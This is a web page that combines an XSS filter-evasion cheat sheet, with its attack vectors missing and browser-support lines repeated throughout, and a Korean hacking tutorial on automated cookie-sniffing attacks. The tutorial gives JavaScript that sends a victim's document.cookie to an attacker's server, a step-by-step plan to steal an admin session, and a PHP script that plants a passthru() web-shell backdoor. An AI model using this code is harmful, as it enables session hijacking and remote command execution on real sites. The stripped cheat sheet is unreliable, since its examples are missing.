    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS with no single quotes or double quotes or semicolons:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    INPUT image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY tag (I like this method because it doesn't require using any variants of "")>
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:



    IMG Dynsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG lowsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BGSOUND:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    & JavaScript includes (works in Netscape 4.x):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    LAYER (also only works in Netscape 4.x)

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE sheet:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

    Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 3. This only works in Opera but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    in an image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mocha (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    FRAME (frames have the same sorts of XSS problems as iframes):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TABLE (who would have thought tables were XSS targets... except me, of course):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag (Older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE tag using background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag using background:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):



    Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    inside flash can obfuscate your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML namespace. The htc file must be located on the same server as your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




XSS using HTML quote encapsulation:

    This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

    IP verses hostname:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    URL encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extra dot for absolute DNS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    JavaScript link location:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several seperate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


Character Encoding:

    All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):



Browser support reference table:

IE7.0              Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF1.5 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 1.5.0.4 on Windows XP Professional.
O8.54 Vector works in Opera. Most recently tested with Opera 8.54, Build 7722 on Windows XP Professional
NS4 Vector works in older versions of Netscape 4.0 - untested.


Note: if a vector is not marked it either does not work or it is untested




2009/08/26 17:40 2009/08/26 17:40
핵스



2009/08/26 17:35 2009/08/26 17:35

Automatic attack program that can be used in Cookie Sniffing
(Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램)

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina



요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다.






1. 개요

이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다.

Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다.

그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다.








2. 이용될 수 있는 곳

이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다.

이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다.

(Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.)








3. 기술적인 내용

먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다.

이 문서에서 설명하는 해킹 순서를 알아보겠습니다.

(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)
(2) Target 서버의 CGI 자료실에 test.txt 업로드
(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)
(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드
(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림
(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격
(7) beist.php 를 이용하여 nobody shell 획득

조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다.

target 의 정보는 다음과 같습니다.

Target Server URL - http://beist.org/
Target CGI URL - http://beist.org/~beist/auto/index.html

해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다.

Hacker URL - http://beist.hackerscomputer/



(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)

Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다.


test.txt

<html>
<head>
<title>beist's Cookie Sniffing</title>

<script language=javascript>
window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href);
</script>

</head>
<body>

Automatic attack program that can use in Cookie Sniffing

</body>
</html>



이러한 Javascript 파일을 만듭니다. test.txt 의 기능은, window.open 메소드를 호출하고, open할 페이지로 hackerscomputer 의 hack.php 를 지정합니다. 이때 cook 이라는 인자를 넘기고, 그 값은 현재 브라우저의 쿠키가 담긴 document.cookie 를 보냅니다. 뒤의 url 인자에 담긴, location.href 라는 객체는 현재 웹 브라우저의 주소 값을 담고 있습니다. hack.php 에서 자동화 공격을 시도할 때, 보다 동적인 공격을 하기 위해 정보를 얻어냅니다.



(2) Target 서버의 CGI 자료실에 test.txt 업로드

위 파일을 Target 서버의 CGI 자료실에 업로드합니다.

(Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.)

자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다.


[화면1] http://beist.org/~beist/auto/index.html (메인메뉴)


pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다.

[화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form)


해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다.

[화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지)


pds_ok.html 의 소스를 보겠습니다.


pds_ok.html

<?

echo "
<html>
<head>
<title>pds_ok</title>
</head>
<body>
<center><br><br>
<font size=2>";

if(eregi("php", $file_name))
{
echo "no php : $file_name";
exit;
}

if(eregi("htm", $file_name))
{
echo "no htm* : $file_name";
exit;
}

if(!copy($file, "data/$file_name"))
{
echo "file save failed";
exit;
}

echo "http://beist.org/~beist/auto/data/$file_name save ok";

?>


test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다.

test.txt URL - http://beist.org/~beist/auto/data/test.txt



(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)

이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다.


beist.txt


<?

/* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor
파일입니다. 만약 beist.php 가 존재하지 않는다면 { } 안의 루틴을 실행합니다. */

if(!file_exists("./data/beist.php"))
{

/* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의
내용을 넣습니다. */

$fp=fopen("./data/beist.php", "w");

fputs($fp, "<? passthru(\$beist); ?>");

fclose($fp);

}

echo "
<html>
<head>
<title>beist test target program</title>
</head>
";

?>


